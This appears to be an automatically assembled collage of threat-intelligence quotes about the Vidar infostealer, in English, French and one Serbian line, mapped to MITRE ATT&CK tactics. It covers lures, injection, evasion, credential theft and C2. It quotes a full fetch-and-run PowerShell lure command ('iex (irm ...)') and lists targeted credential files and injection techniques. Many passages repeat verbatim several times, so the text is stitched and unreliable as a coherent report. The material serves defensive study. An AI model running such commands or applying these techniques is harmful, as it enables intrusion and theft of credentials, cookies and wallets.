Vidar

The precise reason for these communications being observed from Vidar management infrastructure is uncertain, however it is plausible that the threat actors may use this platform in their operations; for identifying targets / victims, or perhaps even for recruitment.

The malware utilizes API calls such as GetEnvironmentStrings and GetModuleHandleExW to retrieve environment details.

Users found the repository through GitHub repository search, search engines, social sharing, and AI-assisted search results pointing to the lure page.

“…T1597.002 (Purchase Technical Data) when using paid monitoring services or dark web aggregators…”, and: “purchasing or obtaining these logs maps to T1597.002…”

The attacker increased the likelihood that users would perceive the download as legitimate, making the lure more convincing to those searching for Gemini-related software.

The latest Vidar campaign leverages social engineering, exploiting a recent Claude Code leak by setting up fake GitHub repositories. Developers are lured into downloading trojanized versions of the tool.

Kroll has observed threat actors abusing Google Ads to deploy malware masquerading as legitimate downloads... VIDAR malware... is using Google Ads to advertise spoofed domains and redirect users to fraudulent sites or malware downloads.

One notable campaign is leveraging pay-per-click advertising to deliver popular software such as Slack, 7zip, Open Broadcasting Studio (OBS), and VLC media player.

MITRE ATT&CK T1583.003 — Virtual Private Server (PFCLOUD, ThinkHuge, OMEGATECH)

"Attackers are now distributing malware by writing posts on legitimate sites to bypass this... Recently, there has been an increase in cases where attackers target poorly managed WordPress sites to create distribution posts."

Both C2 domains are compromised Brazilian WordPress sites on Hostinger — a restaurant and a trucking blog being used as C2 relays.

ErrTraffic begins after someone reaches a compromised WordPress website. The injected JavaScript does not contain the final destination in clear text.

MITRE ATT&CK TTPs ... Resource Development Establish Accounts: Social Media Accounts T1585.003 Disposable GitHub accounts for distribution

Inauthentic Reddit posts offering free access to the popular charting platform TradingView have been published using multiple aged and compromised accounts to facilitate the distribution of the Vidar and Atomic macOS Stealer payloads...

Trend Research, in an investigation, revealed its distribution via social media.

Further analysis revealed that Fox Tempest expanded its offerings earlier this year by providing customers with pre-configured virtual machines hosted through Cloudzy infrastructure. Users could upload malware to these systems and receive digitally signed binaries generated through certificates controlled by the group.

MITRE ATT&CK: T1588: Obtain Capabilities

T1588.001 — Obtain Capabilities: Malware (Resource Development)

“…latest GuLoader (aka CloudEye) downloader, which delivers Remcos, Vidar, and Raccoon…”

Microsoft linked part of the malware-distribution activity to Storm-3075 and described the use of malware-signing services attributed to Fox Tempest to increase trust and reduce early detection rates.

Obtain Capabilities: Exploits T1588.005 Adversary obtains exploits to compromise legitimate WordPress webpages.

MITRE ATT&CK TTPs ... Resource Development Stage Capabilities: Upload Malware T1608.001 Malware hosted on GitHub Releases

SEO poisoning, aimed at achieving top search engine rankings, was used, and file-hosting services, cloud storage platforms, Mega, and Mediafire were identified as the primary distribution sites.

Les identifiants ciblés comprennent clés IAM, jetons OIDC, jetons Entra ID, comptes de service GCP, PATs et clés API; la liste inclut T1078 — Valid Accounts.

"Technique Title Valid Accounts: Domain Accounts ID T1078.002..." and "...reset passwords and/or transfer MFA tokens [T1078.002]."

“A valid token can open cloud consoles, code repositories, build pipelines, and AI services” and “criminals buy access rather than exploit flaws.”

The scam sites copy this genuine announcement while using “Play Now” buttons that can lead visitors to the malicious executable.

redirected them to an exploit kit (EK). Fallout was the most active, says Jérôme Segura of Malwarebytes, adding that it pushed Vidar

Socket has published research findings describing a Go module that posed as a DNS and subdomain scanner while acting as a first-stage Windows malware loader.

"...fake websites hosting trojanized versions of legitimate tools like PuTTY and WinSCP..."; "...malware disguised as popular AI and collaboration tools like... ChatGPT... AnyConnect... Microsoft Office..."

“The initial infection can arrive through phishing, deceptive downloads, or a poisoned software dependency.”

attackers also used a malicious DOC file with an embedded macro, BankStatement0040918404.doc ... This DOC file was sent as an attachment in a malicious email message

“The attack begins with a targeted phishing email designed to impersonate DocuSign” and contains a link to a lookalike DocuSign domain.

Att&ck IDs: T1053 - Scheduled Task/Job

For persistence, it creates a scheduled task configured to execute the PowerShell script at user logon with a hidden window and a bypassed execution policy.

Researchers identified the malware as a newer Go-compiled Vidar variant that communicated with Telegram-based infrastructure.

Behind the overlay, the malicious JavaScript silently wrote a heavily obfuscated PowerShell command to the user’s clipboard.

MicrosoftToolkit.exe spawning command shells

a malicious DOC file with an embedded macro ... drops executable files after editing is enabled

after launch, it displayed a “Continue” checkbox, then dropped pythonw.exe and LICENSE.txt into *\AppData\Local*, executed shellcode, contacted brokeapt[.]com, and delivered Vidar infostealer.

Towards the end of the file’s code is a snippet of HTML application (HTA) code containing JavaScript that covertly triggers a second file, “app.exe.”

Multi-stage AutoIt loaders abusing Windows-native tools

Rbin confirmed the sample resolves native APIs dynamically via GetProcAddress against KERNEL32.DLL, NTDLL.DLL, WINHTTP.DLL, CRYPT32.DLL, and BCRYPT.DLL, among others.

The network activity from the report indicates the sample downloaded mozglue.dll, sqlite3.dll, nss3.dll, freebl3.dll, and a couple others. These DLLs are commonly downloaded and loaded into memory by stealers...

Trend Research uncovered a new social engineering campaign using TikTok to deliver the Vidar and StealC information stealers... attackers are using TikTok videos that are potentially generated using AI-powered tools to socially engineer users into executing PowerShell commands under the guise of guiding them to activate legitimate software or unlock premium features.

"Many of the actors just shared a link to their software download site and article where the SpaxMedia download button lived in a post... other actors wrote entire LinkedIn articles proliferated with links... actors sometimes left comments on other posts directing victims to their software distribution sites."

The malware specimen is a 32-bit console-based executable, typically delivered as a payload of downloader malware like a private loader.

Press Windows + R Type powershell and press Enter Execute the following command: iex (irm hxxps://allaivo[.]me/spotify)

The malicious JavaScript silently wrote a heavily obfuscated PowerShell command to the user’s clipboard... told the user to press Windows Key + R... and press Ctrl + V to paste the fix.

The injected payload extracts encryption keys directly from browser memory, then communicates the stolen keys back to the main malware process via named pipes to avoid disk artifacts.

Adversary used AutoIt3 ( Vidar Stealer ) to Abuse Component Object Model (COM) Interfaces for UAC Bypass for Privilege Escalation

MITRE ATT&CK Mapping Tactic Technique ID Implementation Execution System Services: Service Execution T1569 Amadey direct PE execution

La technique de téléchargement des DLL dans le répertoire d’exécution du programme malveillant permet donc deux choses : S’assurer que l’environnement du malware est correctement configuré ... ne pas lever d’alerte relative à l’accession ... à des répertoire nécessitant des droits élevés.

Att&ck IDs: T1053 - Scheduled Task/Job

For persistence, it creates a scheduled task configured to execute the PowerShell script at user logon with a hidden window and a bypassed execution policy.

Les identifiants ciblés comprennent clés IAM, jetons OIDC, jetons Entra ID, comptes de service GCP, PATs et clés API; la liste inclut T1078 — Valid Accounts.

"Technique Title Valid Accounts: Domain Accounts ID T1078.002..." and "...reset passwords and/or transfer MFA tokens [T1078.002]."

“A valid token can open cloud consoles, code repositories, build pipelines, and AI services” and “criminals buy access rather than exploit flaws.”

MITRE ATT&CK™ Matrix - Windows ... Defense Evasion ... Modify Registry

🧠 TTPs et IOCs détectés # TTP # ... T1176 — Browser Extensions (Persistence)

the process being injected with the PE is C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

The dropped loader then registers a Windows service... HKLM\SYSTEM\ControlSet001\Services\CadenceOptimizer ... Windows resolves svchost.exe -k Brn_Agent ... to load C:\ProgramData\CorsairUtil\agt.dll and call its AllocatorRegister entry point.

Att&ck IDs: T1547 - Boot or Logon Autostart Execution

saves it in the hidden directory, and sets up persistence by creating a registry key to execute the script at startup.

These fingerprints meant the criminals could access ... without triggering security warnings ... Users could even bypass multi-factor authentication.

Att&ck IDs: T1053 - Scheduled Task/Job

For persistence, it creates a scheduled task configured to execute the PowerShell script at user logon with a hidden window and a bypassed execution policy.

It executes process injection by writing the virtual memory of the suspended process RegAsm.exe with code retrieved from the decoded .data section.

T1055.001 Process Injection: Dynamic-link Library Injection — Reflective loading of decrypted infostealer into host memory

The malware also employs an advanced technique that launches browsers with debugging enabled and injects malicious code directly into running browser processes using either shellcode or reflective DLL injection.

Vidar solves this by injecting an Asynchronous Procedure Call (APC) into the live browser process... it creates a suspended thread in the target browser via CreateRemoteThread ... queues an APC using NtQueueApcThread ... If neither product is detected, it uses the “special” method ... and calls NtQueueApcThreadEx2 with the QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC flag.

After unpacking, the payload is executed in memory using reflective loading or Process Hollowing.

Les identifiants ciblés comprennent clés IAM, jetons OIDC, jetons Entra ID, comptes de service GCP, PATs et clés API; la liste inclut T1078 — Valid Accounts.

"Technique Title Valid Accounts: Domain Accounts ID T1078.002..." and "...reset passwords and/or transfer MFA tokens [T1078.002]."

“A valid token can open cloud consoles, code repositories, build pipelines, and AI services” and “criminals buy access rather than exploit flaws.”

the process being injected with the PE is C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

The dropped loader then registers a Windows service... HKLM\SYSTEM\ControlSet001\Services\CadenceOptimizer ... Windows resolves svchost.exe -k Brn_Agent ... to load C:\ProgramData\CorsairUtil\agt.dll and call its AllocatorRegister entry point.

Att&ck IDs: T1547 - Boot or Logon Autostart Execution

saves it in the hidden directory, and sets up persistence by creating a registry key to execute the script at startup.

It also included a README file that told users to run the program with administrator rights and add it to antivirus exception lists

Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002) The malware employs a known technique for bypassing User Account Control (UAC). GraphicsFillRect.au3 performed an API call ( CoGetObject ) to the COM Elevation Moniker

MITRE ATT&CK™ Matrix - Windows ... Defense Evasion ... File System Logical Offsets

Vidar moved from basic XOR encryption and altered ChaCha20 routines to a custom virtual machine and stream cipher that vary with every build, hiding strings that reveal commands, configuration, error messages, and intended actions.

Defense Evasion Obfuscated Files: Binary Padding T1027.001 1.1MB word salad in RCDATA resource

“Further analysis revealed classic packing techniques, indicating that additional obfuscation layers are applied to hinder reverse engineering.”

with payloads embedded in JPEG and TXT files for in-memory execution... retrieves a Base64-encoded DLL appended to a JPEG hosted on public image services

Here, we can see that the malware has decrypted some Windows API names (LoadLibraryA, VirtualAlloc) ... This knowledge allows us to assume that the malware is dynamically loading APIs

The virtual machine can directly reveal a string, or recover a key and nonce used to unlock a second encrypted data block. Vidar also uses modified ChaCha-based and add-rotate-XOR stream-cipher designs across versions.

The opcodes, constants and lookup tables can change in every build... Vidar keeps the same job while changing the small details that a detection rule may expect.

A fake Gemini installer campaign showed how a trusted-looking download can lead to browser-password theft, while fake YouTube software downloads have also been used to reach employees.

Des sites frauduleux imitant l’identité visuelle de Rockstar Games apparaissent dans les résultats de recherche Google.

It executes process injection by writing the virtual memory of the suspended process RegAsm.exe with code retrieved from the decoded .data section.

T1055.001 Process Injection: Dynamic-link Library Injection — Reflective loading of decrypted infostealer into host memory

The malware also employs an advanced technique that launches browsers with debugging enabled and injects malicious code directly into running browser processes using either shellcode or reflective DLL injection.

Vidar solves this by injecting an Asynchronous Procedure Call (APC) into the live browser process... it creates a suspended thread in the target browser via CreateRemoteThread ... queues an APC using NtQueueApcThread ... If neither product is detected, it uses the “special” method ... and calls NtQueueApcThreadEx2 with the QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC flag.

After unpacking, the payload is executed in memory using reflective loading or Process Hollowing.

The malware launches genuine Chrome, Edge, and Firefox programs in a hidden mode to access protected browser information, then removes temporary folders.

Lance Chrome, Edge et Firefox en mode caché pour accéder aux données protégées, puis supprime les dossiers temporaires.

Les identifiants ciblés comprennent clés IAM, jetons OIDC, jetons Entra ID, comptes de service GCP, PATs et clés API; la liste inclut T1078 — Valid Accounts.

"Technique Title Valid Accounts: Domain Accounts ID T1078.002..." and "...reset passwords and/or transfer MFA tokens [T1078.002]."

“A valid token can open cloud consoles, code repositories, build pipelines, and AI services” and “criminals buy access rather than exploit flaws.”

It proceeds to decode the content of the .data section using bitwise XOR operations.

During our analysis, it launched the actual Chrome, Edge, and Firefox executables installed on the system. It started them in headless mode, disabled logging, and pointed each one at a temporary user-data directory.

The trick to this particular campaign is that it conceals its complex malware behind a Microsoft Compiled HTML Help (.CHM) file.

This HTML has a button object which automatically triggers the silent re-execution of the .CHM “pss10r.chm” with mshta. Mshta is a Windows binary used for executing HTA files.

Notably, the malware leverages RegAsm.exe as an execution proxy, invoking a malicious method (lfsgeddddddda) within the loaded assembly.

The payload is a Go variant of the Vidar Stealer... deploy secondary malware, in this case a stager binary that's responsible for launching TELEPUZ ("telepuz.dll") using "rundll32.exe."

The campaign attack chain observed by Malwarebytes takes advantage of a technique called remote template injection to download the Colibri loader ("setup.exe") by means of a weaponized Microsoft Word document.

If the malware doesn’t detect any analysis environment, it proceeds to decode the content of the .data section using bitwise XOR operations.

The malware then performs extensive anti-analysis checks including debugger detection, timing verification, system uptime validation, and hardware profiling to ensure execution only occurs on genuine victim systems rather than analysis environments.

“[The second stage] reveal[ed] a built-in time bomb” and “performs the time check using an online source.”

The loader extracts it into a directory named to resemble a legitimate Microsoft Photos install and launches Microsoft.exe from that path with a hidden window.

T1564.001: Hidden Files and Directories

The malware launches genuine Chrome, Edge, and Firefox programs in a hidden mode to access protected browser information, then removes temporary folders.

La technique de téléchargement des DLL dans le répertoire d’exécution du programme malveillant permet donc deux choses : S’assurer que l’environnement du malware est correctement configuré ... ne pas lever d’alerte relative à l’accession ... à des répertoire nécessitant des droits élevés.

The decoded byte array is passed to [System.Reflection.Assembly]::Load(), confirming fileless execution without dropping any binary on disk.

It triggers a memory access violation exception and terminates the process by calling RtlExitUserProcess if a debugger or analysis environment is detected.

Along with their ability to social engineer some of the largest organizations, Scattered Spider engages in data theft for extortion and has been known to deploy ransomware alongside Vidar.

MITRE ATT&CK™ Matrix - Windows ... Defense Evasion ... Modify Registry

MITRE ATT&CK: T1222: File and Directory Permissions Modification

The operation enabled cybercriminals to sign malicious software with fake trusted certificates, making it appear legitimate and easier to distribute.

“The binary is signed with a valid PE certificate issued to an organization based in China. The presence of a legitimate signature can help the malware bypass basic trust checks and reduce suspicion.”

The ISO format is a deliberate choice. ISOs auto-mount on Windows 10/11 without third-party software, bypassing Mark-of-the-Web (MOTW) protections that would otherwise trigger SmartScreen warnings on downloaded executables (T1553.005).

These fingerprints meant the criminals could access ... without triggering security warnings ... Users could even bypass multi-factor authentication.

adding these locations to the Windows Defender exclusion list to evade detection.

STEALC calls ReadProcessMemory to access CanonicalCookieChrome structures from the Chrome network-service process. LUMMA uses NtReadVirtualMemory to locate chrome.dll and dump cookies in clear text.

Vidar - a commercial threat available for $700 specifically built for stealing passwords and forms from web browsers.

We can also observe that the malware attempts to steal credit card information from web browsers.

🧠 TTPs et IOCs détectés # TTP # ... T1056.003 — Input Capture: Web Portal Capture (Credential Access)

“...test stolen credentials across multiple services, and adjust tactics based on failed attempts without human input.” / “stolen credentials could be tested against thousands of endpoints simultaneously, including corporate VPNs, SaaS providers, and cloud services…”

Les cibles incluent des jetons OIDC AWS SSO, jetons Entra ID et refresh tokens, jetons GCP, GitHub App/OAuth/PAT, jetons GitLab Runner et jetons OAuth d’outils IA.

“If malware steals that token and an attacker loads it into another browser, the service may treat the attacker as the authenticated user.” The listed targets include GitHub and ChatGPT browser-session cookies.

Att&ck IDs: T1552 - Unsecured Credentials

Les artefacts ciblés comprennent ~/.aws/credentials, fichiers Azure accessTokens.json et caches MSAL, bases GCP credentials.db/access_tokens.db, fichiers GitHub/GitLab de configuration, ainsi que des fichiers .env et credentials.json contenant des clés API.

MITRE ATT&CK™ Matrix - Windows ... Credential Access ... Credentials in Registry

« GitHub : ... clés SSH (id_rsa, id_ed25519) ».

The malware “steals locally stored data such as login cookies, app credentials, and browser passwords.”

Azorult scans the file system and searches for sensitive data like browser data, cookies, email clients and cryptocurrency wallets.

Attackers are also pushing the Vidar/Redline data stealer malware ... The HMPA CookieGuard and TTP classifications (T1555.003) trigger on this type of attack.

These fingerprints meant the criminals could access ... without triggering security warnings ... Users could even bypass multi-factor authentication.

Related techniques include T1056 (Input Capture/keylogging) and T1557 (session/token interception), both observed across current stealer families.

later endpoint alerts confirmed activity consistent with theft of browser credentials and other sensitive data

Discovery T1007 System Service Discovery

Att&ck IDs: T1012 - Query Registry

The stealer enumerates the host for the username and hardware information, running processes and installed applications as well as keyboard and display languages.

STEALC uses CreateToolhelp32Snapshot to scan and terminate all chrome.exe processes, then enumerates Chrome child processes for the --utility-sub-type=network.mojom.NetworkService flag.

Vidar has spent years stealing the data people keep closest: saved passwords, browser cookies, wallet files and system details.

It also attempts to read system-specific directories ... such as $Recycle.Bin, $Windows.~BT, $SysReset using ReadFile operation.

MITRE ATT&CK Matrix Tactic Technique ID Technique Name ... T1087.001 Account Discovery: Local Account

Discovery T1124 System Time Discovery

Table row: "Browser Info Discovery T1217 Use stealer malware to get browser history"

If the malware doesn’t detect any analysis environment, it proceeds to decode the content of the .data section using bitwise XOR operations.

The malware then performs extensive anti-analysis checks including debugger detection, timing verification, system uptime validation, and hardware profiling to ensure execution only occurs on genuine victim systems rather than analysis environments.

“[The second stage] reveal[ed] a built-in time bomb” and “performs the time check using an online source.”

Att&ck IDs: T1518 - Software Discovery

MITRE ATT&CK Matrix Tactic Technique ID Technique Name ... T1518.001 Software Discovery: Security Software Discovery

The first part of this malware is a kill switch where it will exit its code if the LocaleName is either of the following: ru-Ru - Russian be-BY - Belarusian uz-UZ - Uzbekistan kk-KZ - Kazakhstan az-AZ - Azerbaijan

The host information also contains ... display language, keyboard languages ...

It triggers a memory access violation exception and terminates the process by calling RtlExitUserProcess if a debugger or analysis environment is detected.

The primary IP address (the ‘Managing IP’ in Figure 1) used to manage 5.252.176.49 was accessed via ‘new’ peers, utilizing the Remote Desktop Protocol (RDP).

„Napadači tako mogu preuzeti naloge i koristiti plaćene AI usluge bez potrebe da znaju lozinku ili prođu dvofaktorsku autentifikaciju.“

This approach allows the malware to steal data from multiple sources simultaneously - such as browsers, cryptocurrency wallets, and files - rather than processing them one at a time.

It specifically targets: DRIVE_FIXED – internal hard drives (HDD/SSD) DRIVE_REMOVABLE – removable storage devices (e.g., USB flash drives, external HDDs)

Vidar - a commercial threat available for $700 specifically built for stealing passwords and forms from web browsers.

We can also observe that the malware attempts to steal credit card information from web browsers.

🧠 TTPs et IOCs détectés # TTP # ... T1056.003 — Input Capture: Web Portal Capture (Credential Access)

Their endpoint telemetry and dynamic analysis revealed a chain of processes showing script masquerading, staged payload extraction, and command-and-control communication.

The final phases involve screenshot capture for additional intelligence value, followed by comprehensive data packaging and exfiltration through HTTP multipart form submissions

the button will covertly copy an obfuscated PowerShell command to the clipboard and present the user with “verification steps.”

The file grabber has been improved and new file collection settings have been added.

It then launches chrome.exe and msedge.exe with the flags --no-first-run --disable-gpu about:blank , driving the real, legitimate browsers themselves in order to defeat App-Bound Encryption and reach the cookies it wants

This campaign deploys an arsenal of malware... able to steal sensitive browser data, cookies, email client data, system information, and two-factor authentication software data.

Related techniques include T1056 (Input Capture/keylogging) and T1557 (session/token interception), both observed across current stealer families.

T1560 — Archive Collected Data (Collection)

The downloaded file is a compressed file that contains an encrypted compressed file and a TXT file that has the password for decompression. Such a method is used by attackers to bypass anti-malware detection that is run when the file is downloaded.

It made observed connections to two malicious destinations.

It establishes a connection to retrieve the C2 information from the URL https[:]//steamcommunity[.]com/profiles/76561199686524322.

From mid-March 2023 onwards, the RDP management activity was sourced from ProtonVPN relays which appeared to be used more broadly by other users, mainly for benign activities. By using VPN infrastructure, which in at least part was also utilized by numerous other benign users, it is apparent that the Vidar threat actors may be taking steps to anonymize their management activities by hiding in general Internet noise.

Finally, we continued to observe outbound connections to 185.173.93.98:443, a host located in Russia assigned to Adman LLC. In addition to the TCP/443 traffic it was also observed in GRE tunnelling activity with 5.252.176.49 . This IP ( 185.173.93.98 ) operates as a conduit between Vidar’s my-odin[.]com and proxy_pass infrastructure

37[.]221[.]66[.]22:11522 (TCP, custom protocol)... The non-standard port is designed to evade basic network monitoring that focuses on 80/443/8080.

Vidar carries a small embedded config with one primary endpoint plus a set of dead-drop fallbacks. These are usually legitimate, high-reputation services — a Telegram channel and a Steam community profile

Utilise des profils Telegram , Pinterest et Steam Community comme dead-drop resolvers pour pointer vers les serveurs attaquants.

"...multi-stage malware chain..."; "...Donut loader is used twice in sequence..."

VIDAR downloads and executes the TELEPUZ stager and main binary; TELEPUZ can also download PE files, DLL modules, and functional modules from C2.

The stealer then collects the credentials, host information, files, and screenshot and sends it over as a ZIP archive in a base64-encoded format

Vidar has a well-documented habit of using what researchers call dead-drop resolvers. Instead of relying only on a command-and-control address permanently embedded in the malware, Vidar variants can retrieve the current destination from attacker-controlled profiles hosted on legitimate services such as Telegram and Steam.

The story we are writing here will try to explain how, from a simple mistake made by an operator, we managed to collect and exploit a lot of precious information from a “Fast Flux” network called BraZZZerS Fast Flux between end of 2018 and 2022.

Att&ck IDs: T1571 - Non-Standard Port

In addition to the TCP/443 traffic it was also observed in GRE tunnelling activity with 5.252.176.49 .

MITRE ATT&CK Matrix Tactic Technique ID Technique Name ... T1573 Encrypted Channel

Stolen information is exfiltrated via TLS-encrypted POST requests with Base64-encoded payloads to evade detection.

The malware employs different operation modes to categorize stolen data and uses specific authentication tokens and build identifiers for tracking and victim management.

It exfiltrates it to the designated C2 server and subsequently deletes the gathered data to eradicate any traces of exfiltration.

Since this file is uploaded over HTTP, it stands to reason that we can carve it out of the network traffic and inspect the contents.

Decrypted string: wininet.dll ... InternetOpenA ... InternetConnectA ... HttpOpenRequestA ... HttpSendRequestA ... InternetReadFile

Scattered Spider engages in data theft for extortion and has been known to deploy ransomware alongside Vidar.

Processes terminated to reduce forensic artifacts and evade detection

Impact Financial Theft T1657 Cryptocurrency wallet theft